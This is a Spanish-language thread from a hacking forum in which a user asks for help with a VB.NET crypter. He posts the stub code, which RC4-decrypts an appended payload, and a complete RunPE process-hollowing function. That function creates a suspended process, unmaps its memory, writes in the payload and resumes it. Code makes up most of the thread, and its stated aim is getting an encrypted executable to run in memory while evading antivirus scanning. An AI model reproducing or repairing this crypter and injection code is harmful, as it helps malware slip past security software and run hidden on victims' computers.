Underc0de

Foros Generales => Dudas y pedidos generales => Mensaje iniciado por: Cyb3r2876 en Enero 19, 2014, 07:16:29 AM

Título: [SOLUCIONADO] Ayuda al inyectar en runpe
Publicado por: Cyb3r2876 en Enero 19, 2014, 07:16:29 AM
Wenas gente, llevo meses liado con un crypter y todo va bien pero cuando lo paso a runtime se estropea el exe, en hexa se ve la cabecera y todo más o menos bien pero no corre el programa cryptado.

Dim archivo As String
        Dim archivodesplit() As String
        Dim archivocortado As String
        Dim archivofinal() As Byte

        FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
        archivo = Space(LOF(1))
        FileGet(1, archivo)
        FileClose(1)

        archivodesplit = Split(archivo, separador)
        archivocortado = jkhnñjharejfgfdjkhituytih85j4kjn45(archivodesplit(1), "camuflate") 'rc4

        archivofinal = System.Text.Encoding.Default.GetBytes(archivocortado)
        Call estolalia.RunPE.InjectPE(archivofinal, archivo)   'aquí no estoy seguro que archivo sea el argumento correcto pero he probado más

        Me.Close()



Y esta es la función inject del runpe:
Public Shared Function InjectPE(ByVal bytes As Byte(), ByVal surrogateProcess As String) As Boolean
            Try
                Dim procAttr As IntPtr = IntPtr.Zero
                Dim processInfo As IntPtr() = New IntPtr(3) {}
                Dim startupInfo As Byte() = New Byte(67) {}

                Dim num2 As Integer = BitConverter.ToInt32(bytes, 60)
                Dim num As Integer = BitConverter.ToInt16(bytes, num2 + 6)
                Dim ptr4 As New IntPtr(BitConverter.ToInt32(bytes, num2 + &H54))

                If CreateProcess(Nothing, New StringBuilder(surrogateProcess), procAttr, procAttr, False, 4, _
                procAttr, Nothing, startupInfo, processInfo) Then
                    Dim ctxt As UInteger() = New UInteger(178) {}
                    ctxt(0) = &H10002
                    If GetThreadContext(processInfo(1), ctxt) Then
                        Dim baseAddr As New IntPtr(ctxt(&H29) + 8L)

                        Dim buffer__1 As IntPtr = IntPtr.Zero
                        Dim bufferSize As New IntPtr(4)

                        Dim numRead As IntPtr = IntPtr.Zero

                        If ReadProcessMemory(processInfo(0), baseAddr, buffer__1, CInt(bufferSize), numRead) AndAlso (NtUnmapViewOfSection(processInfo(0), buffer__1) = 0) Then
                            Dim addr As New IntPtr(BitConverter.ToInt32(bytes, num2 + &H34))
                            Dim size As New IntPtr(BitConverter.ToInt32(bytes, num2 + 80))
                            Dim lpBaseAddress As IntPtr = VirtualAllocEx(processInfo(0), addr, size, &H3000, &H40)

                            Dim lpNumberOfBytesWritten As Integer

                            WriteProcessMemory(processInfo(0), lpBaseAddress, bytes, CUInt(CInt(ptr4)), lpNumberOfBytesWritten)
                            Dim num5 As Integer = num - 1
                            For i As Integer = 0 To num5
                                Dim dst As Integer() = New Integer(9) {}
                                Buffer.BlockCopy(bytes, (num2 + &HF8) + (i * 40), dst, 0, 40)
                                Dim buffer2 As Byte() = New Byte((dst(4) - 1)) {}
                                Buffer.BlockCopy(bytes, dst(5), buffer2, 0, buffer2.Length)

                                size = New IntPtr(lpBaseAddress.ToInt32() + dst(3))
                                addr = New IntPtr(buffer2.Length)

                                WriteProcessMemory(processInfo(0), size, buffer2, CUInt(addr), lpNumberOfBytesWritten)
                            Next
                            size = New IntPtr(ctxt(&H29) + 8L)
                            addr = New IntPtr(4)

                            WriteProcessMemory(processInfo(0), size, BitConverter.GetBytes(lpBaseAddress.ToInt32()), CUInt(addr), lpNumberOfBytesWritten)
                            ctxt(&H2C) = CUInt(lpBaseAddress.ToInt32() + BitConverter.ToInt32(bytes, num2 + 40))
                            SetThreadContext(processInfo(1), ctxt)
                        End If
                    End If
                    ResumeThread(processInfo(1))
                End If
            Catch
                Return False
            End Try
            Return True
        End Function



Llevo días (casi enteros... xD) depurando y probando cosas diferentes módulos runpe diferentes argumentos y nada, solo me sale en scantime  T T
Título: Re:Ayuda al inyectar en runpe
Publicado por: Cyb3r2876 en Enero 19, 2014, 08:13:02 PM
bueno al fin he conseguido eso. se me olvido decir que es en vb.net

me queda probar que realmente se ejecuta como debe en la memoria, pero eso es otro tema , así que se puede dar este por solucionado..

salu2